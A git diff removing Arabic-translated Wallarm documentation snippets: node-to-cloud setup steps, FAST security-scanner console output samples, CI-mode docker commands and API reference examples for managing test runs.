/usr/share/wallarm-common/addcloudnode - ``` - -4. الصق رمز عقدة التصفية من الحافظة. - -الآن، عقدتك ستتزامن مع السحابة كل 2‑4 دقائق وفقًا لتكوين المزامنة الافتراضي. - -!!! info "تكوين مزامنة العقدة التصفية والسحابة" - بعد تشغيل سكريبت `addcloudnode`، سيتم إنشاء الملف `/etc/wallarm/syncnode` الذي يحتوي على إعدادات مزامنة العقدة التصفية والسحابة. يمكن تغيير إعدادات مزامنة العقدة التصفية والسحابة من خلال الملف `/etc/wallarm/syncnode`. - - [مزيد من التفاصيل عن تكوين مزامنة العقدة التصفية وسحابة Wallarm →](configure-cloud-node-synchronization-en.md#cloud-node-and-wallarm-cloud-synchronization) - -#### الربط باستخدام بريدك الإلكتروني وكلمة المرور - -لربط العقدة بسحابة Wallarm باستخدام بيانات حسابك، اتبع الخطوات التالية: - -1. على الجهاز الافتراضي قم بتشغيل سكريبت `addnode`: - - !!! info - عليك اختيار أي سكريبت تقوم بتشغيله بناءً على السحابة التي تستخدمها. - - * إذا كنت تستخدم ، قم بتشغيل السكريبت من علامة تبويب **سحابة الولايات المتحدة** أدناه. - * إذا كنت تستخدم ، قم بتشغيل السكريبت من علامة تبويب **سحابة الاتحاد الأوروبي** أدناه. - - === "سحابة الولايات المتحدة" - ```bash - sudo /usr/share/wallarm-common/addnode -H us1.api.wallarm.com - ``` - === "سحابة الاتحاد الأوروبي" - ```bash - sudo /usr/share/wallarm-common/addnode - ``` - -2. قدم بريدك الإلكتروني وكلمة المرور لحساب Wallarm عندما يُطلب منك. - -!!! info "الوصول إلى واجهة برمجة التطبيقات" - اختيار واجهة برمجة التطبيقات لعقدة التصفية يعتمد على السحابة التي تستخدمها. الرجاء، اختر واجهة برمجة التطبيقات وفقًا لذلك: - - * إذا كنت تستخدم ، عقدتك تتطلب الوصول إلى `https://api.wallarm.com:444`. - * إذا كنت تستخدم ، عقدتك تتطلب الوصول إلى `https://us1.api.wallarm.com:444`. - - تأكد من أن الوصول ليس محظورًا بواسطة جدار الحماية. - -الآن، عقدتك ستتزامن مع السحابة كل 2‑4 دقائق وفقًا لتكوين المزامنة الافتراضي. - -!!! info "تكوين مزامنة العقدة التصفية والسحابة" - بعد تشغيل سكريبت `addnode`، سيتم إنشاء الملف `/etc/wallarm/node.yaml` الذي يحتوي على إعدادات مزامنة العقدة التصفية والسحابة وإعدادات أخرى ضرورية لتشغيل عقدة Wallarm بشكل صحيح. يمكن تغيير إعدادات مزامنة العقدة التصفية والسحابة عبر الملف `/etc/wallarm/node.yaml` ومتغيرات البيئة النظامية. - - [مزيد من التفاصيل عن تكوين مزامنة العقدة التصفية وسحابة Wallarm →](configure-cloud-node-synchronization-en.md#regular-node-and-wallarm-cloud-synchronization) \ No newline at end of file diff --git a/include-ar/elevated-priveleges.md b/include-ar/elevated-priveleges.md deleted file mode 100644 index 06e05caa77..0000000000 --- a/include-ar/elevated-priveleges.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! تحذير "المتطلبات الأولية" - * قبل القيام بأي خطوات مدرجة أدناه، يجب إما [تعطيل أو ضبط](../admin-en/configure-selinux.md) SELinux إذا كان مثبتًا على نظام التشغيل. - * تأكد من تنفيذ جميع الأوامر أدناه كمستخدم متميز (مثل `root`). \ No newline at end of file diff --git a/include-ar/fast/cloud-note-readme.md b/include-ar/fast/cloud-note-readme.md deleted file mode 100644 index df01c2e583..0000000000 --- a/include-ar/fast/cloud-note-readme.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! warning "ملاحظة حول سحب Wallarm" - يتفاعل FAST مع إحدى سحب Wallarm المتاحة. - - تنطبق جميع المعلومات من الوثائق على جميع السحب، ما لم يُذكر خلاف ذلك. - - لأجل البساطة، يفترض طوال الوثائق أن FAST يتفاعل مع سحابة Wallarm الأمريكية. إذا كنت بحاجة إلى التفاعل مع سحابة أخرى، استخدم [العناوين المقابلة لبوابة Wallarm وخادم API](cloud-list.md). \ No newline at end of file diff --git a/include-ar/fast/cloud-note.md b/include-ar/fast/cloud-note.md deleted file mode 100644 index 35adf2b36b..0000000000 --- a/include-ar/fast/cloud-note.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! warning "ملاحظة حول سحب Wallarm" - يتفاعل FAST مع واحدة من سحب Wallarm المتاحة. - - تنطبق كل المعلومات الموجودة في الوثائق بالتساوي على جميع السحب، مالم يُذكر خلاف ذلك. - - لأجل التبسيط، يُفترض طوال الوثائق أن FAST يتفاعل مع سحابة Wallarm الأمريكية. إذا كنت بحاجة للتفاعل مع سحابة أخرى، استخدم [العناوين المقابلة لبوابة Wallarm وخادم واجهة برمجة التطبيقات](../cloud-list.md). \ No newline at end of file diff --git a/include-ar/fast/console-include/dsl/fast-node-recording.md b/include-ar/fast/console-include/dsl/fast-node-recording.md deleted file mode 100644 index 456dc0df93..0000000000 --- a/include-ar/fast/console-include/dsl/fast-node-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] تم الاتصال بـ Wallarm Cloud -[info] تم تحميل امتدادين مخصصين للماسح السريع -[info] تم تحميل 30 امتدادًا افتراضيًا للماسح السريع -[info] في انتظار التحقق من TestRun... -[info] تسجيل الأساسيات لـ TestRun#N 'DEMO TEST RUN' -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/dsl/fast-node-run-fail.md b/include-ar/fast/console-include/dsl/fast-node-run-fail.md deleted file mode 100644 index 4485ad1cc3..0000000000 --- a/include-ar/fast/console-include/dsl/fast-node-run-fail.md +++ /dev/null @@ -1,5 +0,0 @@ -``` -[info] تم الاتصال بعقدة إلى سحابة Wallarm -[error] امتداد مخصص غير صالح 'my-extension.yaml': (): لم يتم العثور على المفتاح المتوقع أثناء تحليل تعيين الكتلة في السطر 2 العمود 3 -[info] تم تحميل 0 من الامتدادات المخصصة للماسح الضوئي السريع -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/dsl/fast-node-run-ok.md b/include-ar/fast/console-include/dsl/fast-node-run-ok.md deleted file mode 100644 index cb6e26b4b2..0000000000 --- a/include-ar/fast/console-include/dsl/fast-node-run-ok.md +++ /dev/null @@ -1,6 +0,0 @@ -``` -[info] تم الاتصال بـ Wallarm Cloud -[info] تم تحميل امتداد مخصص واحد للماسح السريع -[info] تم تحميل 30 امتدادًا افتراضيًا للماسح السريع -[info] في انتظار فحص TestRun... -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/dsl/fast-node-working.md b/include-ar/fast/console-include/dsl/fast-node-working.md deleted file mode 100644 index a32460037e..0000000000 --- a/include-ar/fast/console-include/dsl/fast-node-working.md +++ /dev/null @@ -1,19 +0,0 @@ -``` -[info] في انتظار TestRun للتحقق... -[info] تسجيل أساسيات لـ TestRun#N 'DEMO TEST RUN' -[info] بدأ TestRun#N جديد 'DEMO TEST RUN' -[info] استجابة الوكيل POST http://ojs.example.local/rest/user/login -[info] تشغيل مجموعة اختبارات للأساس #X -... -[info] تشغيل اختبارات الإضافة الافتراضية 'rce-dotnet-jackson' للمُعامل 'POST_value' -... -[info] تشغيل اختبارات الإضافة الافتراضية 'spel-oob' للمُعامل 'POST_JSON_DOC_HASH_email_value' -[info] تشغيل اختبارات الإضافة المخصصة 'mod-extension' للمُعامل 'POST_JSON_DOC_HASH_email_value' -[info] تم العثور على ثغرة SQLI في المضيف ojs.example.local ... -... -[info] تشغيل اختبارات الإضافة الافتراضية 'spel-oob' للمُعامل 'URI_value' -تشغيل اختبارات الإضافة المخصصة 'non-mod-extension' للمُعامل 'URI_value' -[info] تم العثور على ثغرة SQLI في المضيف ojs.example.local ... -... -[info] تم العثور على ثغرتين، تعيين مجموعة الاختبار للأساس #X على أنها فاشلة -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/operations/node-in-ci-mode-report.md b/include-ar/fast/console-include/operations/node-in-ci-mode-report.md deleted file mode 100644 index dcd0b58824..0000000000 --- a/include-ar/fast/console-include/operations/node-in-ci-mode-report.md +++ /dev/null @@ -1,22 +0,0 @@ -``` -تم تسجيل نسخة جديدة 16dd487f-3d40-4834-xxxx-8ff17842d60b - -================================================================================ -=============================== نتائج اختبار التشغيل =============================== -================================================================================ -نتيجة تشغيل الاختبار المثالي (5080) - فشل -+------------------------------------------------------------------------------+ -| التحققات الأساسية | -|------------------------------------------------------------------------------| -|نجح |0 | -|------------------------------------------------------------------------------| -|فشل |2 | -|------------------------------------------------------------------------------| -|توقف |0 | -+------------------------------------------------------------------------------+ - -تم العثور على 4 ثغرات: -+------------------------------------------------------------------------------+ -|التهديد |متوسط | -... -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/poc/node-in-ci-mode-recording.md b/include-ar/fast/console-include/poc/node-in-ci-mode-recording.md deleted file mode 100644 index dadd4194b5..0000000000 --- a/include-ar/fast/console-include/poc/node-in-ci-mode-recording.md +++ /dev/null @@ -1,16 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - - جاري التحميل... - [info] تم الاتصال بـ Wallarm Cloud - [info] تم تحميل 0 امتدادات مخصصة للماسح السريع - [info] تم تحميل 44 امتداداً افتراضياً للماسح السريع - [info] TestRecord#rec_0001 TestRecord يبدأ التسجيل في 01 أكتوبر 01:01 بتوقيت UTC -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/poc/node-in-ci-mode-testing.md b/include-ar/fast/console-include/poc/node-in-ci-mode-testing.md deleted file mode 100644 index bc0fec6eb2..0000000000 --- a/include-ar/fast/console-include/poc/node-in-ci-mode-testing.md +++ /dev/null @@ -1,17 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__,_|_|_\__,_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -جار التحميل... -INFO synccloud[13]: تم تسجيل مثال جديد 16dd487f-3d40-4834-xxxx-8ff17842d60b -INFO [1]: تم تحميل 0 الملحقات الخاصة للماسح السريع -INFO [1]: تم تحميل 44 الملحقات الافتراضية للماسح السريع -INFO [1]: استخدم TestRecord#rec_0001 لإنشاء TestRun -INFO [1]: تم إنشاء TestRun#tr_1234 -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/qsg/fast-node-deployment-ok.md b/include-ar/fast/console-include/qsg/fast-node-deployment-ok.md deleted file mode 100644 index aff3e58cca..0000000000 --- a/include-ar/fast/console-include/qsg/fast-node-deployment-ok.md +++ /dev/null @@ -1,15 +0,0 @@ -``` - __ __ _ _ - \ \ / /_ _| | |__ _ _ _ _ __ - \ \/\/ / _` | | / _` | '_| ' \ - \_/\_/\__،_|_|_\__،_|_| |_|_|_| - ___ _ ___ _____ - | __/_\ / __|_ _| - | _/ _ \\__ \ | | - |_/_/ \_\___/ |_| - -[معلومات] تم الاتصال بعقدة إلى سحابة Wallarm -[معلومات] تم تحميل 0 امتدادات مخصصة للماسح الضوئي السريع -[معلومات] تم تحميل 51 امتدادًا افتراضيًا للماسح الضوئي السريع -[معلومات] في انتظار TestRun للتحقق... -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/qsg/fast-node-ready-for-recording.md b/include-ar/fast/console-include/qsg/fast-node-ready-for-recording.md deleted file mode 100644 index debd7b5f2b..0000000000 --- a/include-ar/fast/console-include/qsg/fast-node-ready-for-recording.md +++ /dev/null @@ -1,7 +0,0 @@ -``` -[info] تم الاتصال بـ Wallarm Cloud -[info] تم تحميل 0 من الامتدادات الخاصة للماسح السريع -[info] تم تحميل 51 من الامتدادات الافتراضية للماسح السريع -[info] في انتظار التحقق من TestRun... -[info] تسجيل الخطوط الأساسية لـ TestRun#N 'DEMO TEST RUN' -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/qsg/fast-node-testing.md b/include-ar/fast/console-include/qsg/fast-node-testing.md deleted file mode 100644 index 0a8b610f40..0000000000 --- a/include-ar/fast/console-include/qsg/fast-node-testing.md +++ /dev/null @@ -1,9 +0,0 @@ -``` -[info] تمت الاتصال بوحدة Node بسحابة Wallarm -[info] تم تحميل 0 من الإضافات المخصصة للفاحص السريع -[info] تم تحميل 51 من الإضافات الافتراضية للفاحص السريع -[info] في انتظار TestRun للتحقق... -[info] تسجيل الأساسيات لـ TestRun#N 'DEMO TEST RUN' -[info] طلب الوكيل GET https://google-gruyere.appspot.com/430232491618310677730226710602783767322/snippets.gtl?password=paSSw0rd&uid=123 -[info] تشغيل مجموعة اختبارات للأساس #X -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/tshoot/access-denied.md b/include-ar/fast/console-include/tshoot/access-denied.md deleted file mode 100644 index 5e25b0325d..0000000000 --- a/include-ar/fast/console-include/tshoot/access-denied.md +++ /dev/null @@ -1,4 +0,0 @@ -``` -جاري التحميل... -[خطأ] لا يمكن إنشاء مثال جديد - تم رفض الوصول -``` \ No newline at end of file diff --git a/include-ar/fast/console-include/tshoot/request-timeout.md b/include-ar/fast/console-include/tshoot/request-timeout.md deleted file mode 100644 index fe788039fd..0000000000 --- a/include-ar/fast/console-include/tshoot/request-timeout.md +++ /dev/null @@ -1,4 +0,0 @@ -``` -جار التحميل... -[خطأ] لا يمكن إنشاء نسخة جديدة - طلب مهلة -``` \ No newline at end of file diff --git a/include-ar/fast/fast-cimode-integration-examples/configured-workflow.md b/include-ar/fast/fast-cimode-integration-examples/configured-workflow.md deleted file mode 100644 index 137e357fb4..0000000000 --- a/include-ar/fast/fast-cimode-integration-examples/configured-workflow.md +++ /dev/null @@ -1,5 +0,0 @@ -!!! info "سير العمل المُعد" - تتطلب الإرشادات التالية سير عمل مُعد مسبقًا يتوافق مع إحدى النقاط التالية: - - * تم تنفيذ أتمتة الاختبار. في هذه الحالة، سيتم إضافة خطوات [تسجيل الطلب](#adding-the-step-of-request-recording) و[اختبار الأمان](#adding-the-step-of-security-testing). - * مجموعة الطلبات الأساسية مُسجلة بالفعل. في هذه الحالة، سيتم إضافة خطوة [اختبار الأمان](#adding-the-step-of-security-testing). \ No newline at end of file diff --git a/include-ar/fast/fast-cimode-integration-examples/request-recording-setup.md b/include-ar/fast/fast-cimode-integration-examples/request-recording-setup.md deleted file mode 100644 index 993d6cfbd1..0000000000 --- a/include-ar/fast/fast-cimode-integration-examples/request-recording-setup.md +++ /dev/null @@ -1,15 +0,0 @@ -لتنفيذ تسجيل الطلبات، طبق الإعدادات التالية على خطوة اختبار التطبيق الآلي: - -1. أضف الأمر الذي يقوم بتشغيل حاوية FAST في وضع `CI_MODE=recording` مع [المتغيرات](../ci-mode-recording.md#environment-variables-in-recording-mode) الأخرى المطلوبة __قبل__ الأمر الذي يقوم بتشغيل الاختبارات الآلية. على سبيل المثال: - - ``` - docker run --name fast -d -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=recording -e WALLARM_API_HOST=us1.api.wallarm.com -e ALLOWED_HOSTS=app-test -p 8080:8080 --network my-network --rm wallarm/fast - ``` -2. ضبط توجيه اختبارات الآلي عبر عقدة FAST. على سبيل المثال: - - ``` - docker run --rm -d --name selenium -e http_proxy='http://fast:8080' --network my-network selenium/standalone-firefox:latest - ``` - -!!! warning "شبكة Docker" - قبل تسجيل الطلبات، تأكد من أن عقدة FAST وأداة الاختبار الآلي تعملان على نفس الشبكة. \ No newline at end of file diff --git a/include-ar/fast/fast-cimode-integration-examples/security-testing-setup.md b/include-ar/fast/fast-cimode-integration-examples/security-testing-setup.md deleted file mode 100644 index 0289124281..0000000000 --- a/include-ar/fast/fast-cimode-integration-examples/security-testing-setup.md +++ /dev/null @@ -1,16 +0,0 @@ -لتنفيذ اختبارات الأمان، أضف الخطوة المنفصلة المقابلة إلى سير عملك متبعًا هذه التعليمات: - -1. إذا لم يكن التطبيق قيد الاختبار يعمل، أضف الأمر لتشغيل التطبيق. -2. أضف الأمر لتشغيل حاوية FAST Docker في وضع `CI_MODE=testing` مع المتغيرات المطلوبة [الأخرى](../ci-mode-testing.md#environment-variables-in-testing-mode) **بعد** الأمر الذي يقوم بتشغيل التطبيق. - - !!! info "استخدام مجموعة الطلبات الأساسية المسجلة" - إذا تم تسجيل مجموعة الطلبات الأساسية في خط أنابيب آخر، حدد معرف التسجيل في متغير [TEST_RECORD_ID][fast-ci-mode-test]. وإلا، سيتم استخدام آخر مجموعة مسجلة. - - مثال على الأمر: - - ``` - docker run --name fast -e WALLARM_API_TOKEN=$WALLARM_API_TOKEN -e CI_MODE=testing -e WALLARM_API_HOST=us1.api.wallarm.com -p 8080:8080 -e TEST_RUN_URI=http://app-test:3000 --network my-network --rm wallarm/fast - ``` - -!!! warning "شبكة Docker" - قبل اختبارات الأمان، تأكد من أن عقدة FAST وتطبيق الاختبار يعملان على نفس الشبكة. \ No newline at end of file diff --git a/include-ar/fast/operations/api-check-testrun-status.md b/include-ar/fast/operations/api-check-testrun-status.md deleted file mode 100644 index 4a52ba0574..0000000000 --- a/include-ar/fast/operations/api-check-testrun-status.md +++ /dev/null @@ -1,55 +0,0 @@ -| استدعاء API: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| الإذن: | مطلوب | بالرمز | -| الرأس HTTP بالرمز: | `X-WallarmAPI-Token` | يُستخدم لنقل قيمة الرمز إلى خادم API | -| المُعاملات: | `test_run_id` **(مطلوب)** | مُعرِّف جولة الاختبار التي يُراد الحصول على حالتها | - - -**مثال على طلب:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234 \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**مثال على الاستجابة:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - "vulns": [ - { - "id": vuln_0001, - "threat": 80, - "code": "S0001", - "type": "sqli" - } - ], - "clientid": demo_0000, - "state": "failed", - "simple_state": "failed", - "allowed_actions": [], - "baseline_check_all_terminated_count": 1, - "baseline_check_fail_count": 1, - "baseline_check_tech_fail_count": 0, - "baseline_check_passed_count": 0, - "baseline_check_running_count": 0, - "baseline_check_interrupted_count": 0, - "sended_requests_count": 70, - ... - "start_time": 1555572038, - "end_time": 1555572309, - ... - "domains": [ - "app.example.local" - ], - "baseline_count": 1, - ... - "baseline_check_waiting_count": 0, - "planing_requests_count": 70 - } -} -``` \ No newline at end of file diff --git a/include-ar/fast/operations/api-copy-testrun.md b/include-ar/fast/operations/api-copy-testrun.md deleted file mode 100644 index 15e3b1c829..0000000000 --- a/include-ar/fast/operations/api-copy-testrun.md +++ /dev/null @@ -1,62 +0,0 @@ -[doc-inactivity-timeout]: internals.md#test-run - -| استدعاء API: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| تصريح: | مطلوب | يُقدَّم التصريح بواسطة الرمز | -| HTTP header مع الرمز: | `X-WallarmAPI-Token` | يُستخدم لنقل قيمة الرمز إلى خادم الAPI | -| المعاملات: | `name` **(مطلوب)** | اسم تشغيل الاختبار | -| | `test_record_id` **(مطلوب)** | تعريف سجل الاختبار الموجود | -| | `desc` | وصف مفصل لتشغيل الاختبار.
              القيمة الافتراضية: سلسلة فارغة | -| | `file_extensions_to_exclude` | يتيح هذا المعامل تحديد أنواع محددة من الملفات التي يجب استثناؤها من عملية التقييم أثناء الاختبار. يتم تحديد هذه الأنواع من الملفات بواسطة التعبير النمطي.
              على سبيل المثال، إذا قمت بتعيين امتداد الملف `ico` ليتم استثناؤه، فإن طلب الأساس `GET /favicon.ico` لن يتم فحصه بواسطة FAST وسيتم تخطيه.
              التعبير النمطي يتبع الصيغة التالية:
              - `.`: أي عدد (صفر أو أكثر) من أي حرف
              - `x*`: أي عدد (صفر أو أكثر) من حرف `x`
              - `x?`: حرف `x` الفردي (أو لا شيء)
              - أي امتداد ملف فردي (مثل، `jpg`)
              - عدة امتدادات مفصولة بالشرطة العمودية (مثل، `jpg` | `png`)
              القيمة الافتراضية: سلسلة فارغة (FAST ستفحص طلبات الأساس بأي امتداد ملف). | -| | `policy_id` | تعريف سياسة الاختبار.
              إذا كان هذا المعامل مفقودًا، فإن السياسة الافتراضية تتخذ إجراء | -| | `stop_on_first_fail` | يحدد هذا المعامل سلوك FAST عند اكتشاف ثغرة أمنية:
              `true`: يوقف تنفيذ تشغيل الاختبار عند الثغرة الأمنية الأولى المكتشفة.
              `false`: يعالج جميع طلبات الأساس بغض النظر عما إذا كانت أي ثغرة أمنية مكتشفة.
              القيمة الافتراضية: `false` | -| | `rps_per_baseline` | يحدد هذا المعامل حدًا على عدد طلبات الاختبار (*RPS*, *طلبات في الثانية الواحدة*) المُرسلة إلى التطبيق الهدف (على سبيل المثال، قد يكون هناك 100 طلب اختبار مشتق من طلب أساس واحد).
              يتم تعيين الحد لكل طلب أساس (لن يُرسل أكثر من `N` طلب اختبار في الثانية الواحدة لطلب أساس فردي) في تشغيل الاختبار.
              الحد الأدنى للقيمة: `1`.
              الحد الأقصى للقيمة: `500`.
              القيمة الافتراضية: `null` (RPS غير محدود) | -| | `rps` | هذا المعامل مشابه للذي وُصف أعلاه، باستثناء أنه يحد من RPS عالميًا لكل تشغيل اختبار، ليس فقط لطلب أساس واحد.
              بمعنى آخر، إجمالي عدد طلبات الاختبار في الثانية الواحدة لا يجب أن يتجاوز القيمة المحددة بغض النظر عن عدد طلبات الأساس التي تم تسجيلها أثناء تشغيل الاختبار.
              الحد الأدنى للقيمة: `1`.
              الحد الأقصى للقيمة: `1000`.
              القيمة الافتراضية: `null` (RPS غير محدود) | - -**مثال على طلب:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun", - "test_record_id":"rec_0001" -}' -``` - -**مثال على رد: جارٍ نسخ تشغيل الاختبار** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "cloning", - ... - "test_record_id": "rec_0001", - ... -} -``` - -تعني حالة `cloning` أن طلبات الأساس يتم نسخها من تشغيل الاختبار الأصلي إلى نسخته (تشغيل الاختبار بتعريف `tr_1234`). - -**مثال على رد: فشل نسخ تشغيل الاختبار** - -``` -{ - "status": 400, - "body": { - "test_record_id": { - "error": "not_ready_for_cloning", - "value": "rec_0001" - } - } -} -``` - -تعني الخطأ `not_ready_for_cloning` أنه لا يمكن نسخ طلبات الأساس من تشغيل الاختبار الأصلي إلى نسخته لأن عملية التسجيل نشطة في تشغيل الاختبار الأصلي (الذي يشمل سجل الاختبار بتعريف `rec_0001`). \ No newline at end of file diff --git a/include-ar/fast/operations/api-create-testrun.md b/include-ar/fast/operations/api-create-testrun.md deleted file mode 100644 index c8374df82e..0000000000 --- a/include-ar/fast/operations/api-create-testrun.md +++ /dev/null @@ -1,41 +0,0 @@ -| نداء API: | `POST /v1/test_run` | | -| ------------ | ------------------- | ---- | -| الإذن: | مطلوب | بالرمز | -| HTTP رأس مع الرمز: | `X-WallarmAPI-Token` | يستخدم لنقل قيمة الرمز إلى خادم API | -| المعاملات: | `name` **(مطلوب)** | اسم التشغيل التجريبي | -| | `test_record_name` | اسم سجل الاختبار. سيتم وضع جميع طلبات الأساس في هذا السجل.
              القيمة الافتراضية: اسم التشغيل التجريبي. | -| | `desc` | وصف مفصل للتشغيل التجريبي.
              القيمة الافتراضية: سلسلة فارغة | -| | `file_extensions_to_exclude` | يتيح هذا المعامل تحديد أنواع معينة من الملفات التي يجب استبعادها من عملية التقييم أثناء الاختبار. يتم تحديد هذه الأنواع من الملفات بواسطة التعبير العادي.
              على سبيل المثال، إذا قمت بتحديد استبعاد امتداد الملف `ico`، فإن طلب الأساس `GET /favicon.ico` لن يتم التحقق منه بواسطة FAST وسيتم تخطيه.
              للتعبير العادي الشكل التالي:
              - `.`: أي عدد (صفر أو أكثر) من أي حرف
              - `x*`: أي عدد (صفر أو أكثر) من الحرف `x`
              - `x?`: الحرف الفردي `x` (أو لا شيء)
              - امتداد ملف فردي (مثل، `jpg`)
              - عدة امتدادات مفصولة بالشريط العمودي (مثل، `jpg` | `png`)
              القيمة الافتراضية: سلسلة فارغة (سيتحقق FAST من طلبات الأساس مع أي امتداد ملف). | -| | `policy_id` | معرف سياسة الاختبار.
              إذا كان المعامل مفقودًا، فإن السياسة الافتراضية تُتخذ | -| | `stop_on_first_fail` | يحدد المعامل سلوك FAST عندما يتم اكتشاف ثغرة أمنية:
              `true`: إيقاف تنفيذ التشغيل التجريبي عند اكتشاف الثغرة الأمنية الأولى.
              `false`: معالجة جميع طلبات الأساس بغض النظر عما إذا كانت ثغرة أمنية مكتشفة أم لا.
              القيمة الافتراضية: `false` | -| | `skip_duplicated_baselines` | يحدد المعامل سلوك FAST عند مواجهة طلب أساس مكرر:
              `true`: تخطي طلبات الأساس المكررة (إذا كان هناك بعض طلبات الأساس المتطابقة، فإن الطلبات التجريبية يتم توليدها لطلب الأساس الأول فقط).
              `false`: الطلبات التجريبية يتم توليدها لكل طلب أساس وارد.
              القيمة الافتراضية: `true` | -| | `rps_per_baseline` | يحدد المعامل حدًا على عدد الطلبات التجريبية (*RPS*، *طلبات في الثانية*) التي يتم إرسالها إلى التطبيق المستهدف (على سبيل المثال، قد يكون هناك 100 طلب تجريبي مشتق من طلب أساس واحد).
              يتم تحديد الحد لكل طلب أساس (لن يتم إرسال أكثر من `N` طلب تجريبي في الثانية لكل طلب أساس فردي) في التشغيل التجريبي.
              القيمة الدنيا: `1`.
              القيمة القصوى: `500`.
              القيمة الافتراضية: `null` (RPS غير محدود) | -| | `rps` | المعامل مشابه للمعامل المذكور أعلاه، إلا أنه يحدد RPS عالميًا، لكل تشغيل تجريبي، ليس فقط طلب أساس فردي.
              بمعنى آخر، إجمالي عدد الطلبات التجريبية في الثانية يجب ألا يتجاوز القيمة المحددة بغض النظر عن عدد طلبات الأساس التي تم تسجيلها أثناء التشغيل التجريبي.
              القيمة الدنيا: `1`.
              القيمة القصوى: `1000`.
              القيمة الافتراضية: `null` (RPS غير محدود) | -| | `inactivity_timeout` | يحدد المعامل فترة الزمنية بالثواني التي ينتظر فيها عقدة FAST لوصول طلب أساس جديد.
              يُشرح هذا السلوك [هنا][doc-inactivity-timeout] بالتفصيل.
              لا يؤثر الانقطاع على عمليات إنشاء وتنفيذ اختبارات الأمان لطلبات الأساس التي تم تسجيلها.
              القيمة الدنيا: `300` (300 ثانية أو 5 دقائق).
              القيمة القصوى: `86400` (86400 ثانية أو يوم واحد).
              القيمة الافتراضية: `1800` (1800 ثانية أو 30 دقيقة) | - -**مثال على طلب:** - -``` -curl --request POST \ - --url https://us1.api.wallarm.com/v1/test_run \ - --header 'Content-Type: application/json' \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' \ - --data '{ - "name":"demo-testrun" -}' -``` - -**مثال على استجابة:** - -``` -{ - "status": 200, - "body": { - "id": tr_1234, - "name": "demo-testrun", - ... - "state": "running", - ... -} -``` \ No newline at end of file diff --git a/include-ar/fast/operations/api-stop-recording.md b/include-ar/fast/operations/api-stop-recording.md deleted file mode 100644 index 477b4927a4..0000000000 --- a/include-ar/fast/operations/api-stop-recording.md +++ /dev/null @@ -1,26 +0,0 @@ -| استدعاء API: | `POST /v1/test_run/test_run_id/action/stop` | | -| ------------- | ------------------------------------------ | ---- | -| الإذن: | مطلوب | بالرمز | -| رأس HTTP مع الرمز: | `X-WallarmAPI-Token` | يستخدم لنقل قيمة الرمز إلى خادم API | -| المعاملات: | `test_run_id` **(مطلوب)** | معرف تشغيل الاختبار لإيقاف تسجيل الطلبات الأساسية له | - -**مثال على طلب:** -``` -curl --request GET \ - --url https://us1.api.wallarm.com/v1/test_run/tr_1234/action/stop \ - --header 'Host: us1.api.wallarm.com' \ - --header 'X-WallarmAPI-Token: token_Qwe12345' -``` - -**مثال على استجابة:** -``` -{ - "status": 200, - "body": { - "id": tr_1234, - ... - "recording": false, - ... - } -} -``` \ No newline at end of file diff --git a/include-ar/fast/operations/env-vars-allowed-hosts.md b/include-ar/fast/operations/env-vars-allowed-hosts.md deleted file mode 100644 index a796a8ebb3..0000000000 --- a/include-ar/fast/operations/env-vars-allowed-hosts.md +++ /dev/null @@ -1,10 +0,0 @@ -!!! info "القيم الصالحة لمتغير `ALLOWED_HOSTS`" - متغير `ALLOWED_HOSTS` يقبل صيغ الاستضافة التالية: - - * الأسماء المؤهلة بالكامل (مثلاً `node.example.local`) - * قيمة تبدأ بنقطة (مثلاً `.example.local`) والتي تُعرف كبطاقة وحشية للنطاق الفرعي - * قيمة `*` التي تطابق أي شيء (في هذه الحالة، يُسجل جميع الطلبات بواسطة عقدة FAST) - * مجموعة من عدة قيم، على سبيل المثال: `"(node.example.local|example.com)"` - * تعبير منتظم في [الصياغة التي يدعمها NGINX](http://nginx.org/en/docs/http/server_names.html#regex_names) - - لمزيد من المعلومات حول قيم متغير `ALLOWED_HOSTS`، يرجى الانتقال إلى هذا [الرابط][link-allowed-hosts]. \ No newline at end of file diff --git a/include-ar/fast/poc/api-check-testrun-status-recording.md b/include-ar/fast/poc/api-check-testrun-status-recording.md deleted file mode 100644 index 62a3367501..0000000000 --- a/include-ar/fast/poc/api-check-testrun-status-recording.md +++ /dev/null @@ -1,27 +0,0 @@ -| استدعاء API: | `GET /v1/test_run/test_run_id` | | -| ------------- | ------------------------------------------ | ---- | -| الإذن: | مطلوب | يتم توفير الإذن بواسطة التوكن | -| الرأس HTTP مع التوكن: | 